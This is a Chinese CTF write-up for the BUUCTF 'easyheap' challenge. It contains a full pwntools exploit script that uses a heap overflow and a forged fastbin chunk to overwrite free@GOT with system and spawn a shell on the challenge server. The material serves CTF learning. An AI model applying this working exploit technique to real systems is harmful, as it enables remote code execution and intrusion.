国际惯例

ida

后门

有cat flag 因为平台是buu所以不考虑能打印flag,别问为什么!
add

edit

del

思路
有堆溢出而且没有PIE,那大概是改写got表了。
WP
from pwn import *
p = remote('node3.buuoj.cn',28946)
elf =ELF('./easyheap')
def add(size,content):
p.recvuntil('Your choice :')
p.sendline('1')
p.recvuntil('Size of Heap : ')
p.send(str(size))
p.recvuntil('Content of heap:')
p.send(str(content))
def edit(index,size,content):
p.recvuntil('Your choice :')
p.sendline('2')
p.recvuntil('Index :')
p.sendline(str(index))
p.recvuntil('Size of Heap : ')
p.send(str(size))
p.recvuntil('Content of heap : ')
p.send(str(content))
def free(index):
p.recvuntil('Your choice :')
p.sendline('3')
p.recvuntil('Index :')
p.sendline(str(index))
free_got = elf.got['free']
add(0x68,'aaaa')#0
add(0x68,'bbbb')#1
add(0x68,'cccc')#2
free(2)
payload = '/bin/sh\x00' + 'a' * 0x60 + p64(0x71) + p64(0x6020ad)
edit(1,len(payload),payload)#添加后门
add(0x68,'aaaa')#申请回chunk2
add(0x68,'c')#构造伪堆块
payload = '\xaa' * 3 + p64(0) * 4 + p64(free_got)
edit(3,len(payload),payload)
payload = p64(elf.plt['system'])
edit(0,len(payload),payload)
free(1)
p.interactive()
总结:
payload = '/bin/sh\x00' + 'a' * 0x60 + p64(0x71) + p64(0x6020ad)
填入后门bin,并溢出修改chunk2的size位,0x6020ad为伪造chunk的地方。
payload = '\xaa' * 3 + p64(0) * 4 + p64(free_got)
通过伪造的chunk修改chunk0的地址为free_got。
该博客介绍了如何利用程序中的堆溢出漏洞和没有PIE特性,通过修改GOT表来植入后门。首先,通过添加、编辑和释放堆块来构造条件,然后通过编辑操作修改指定chunk的size字段,再伪造chunk以指向free函数的GOT入口,最后通过再次编辑和释放操作触发系统调用,实现远程代码执行。
2986

被折叠的 条评论
为什么被折叠?



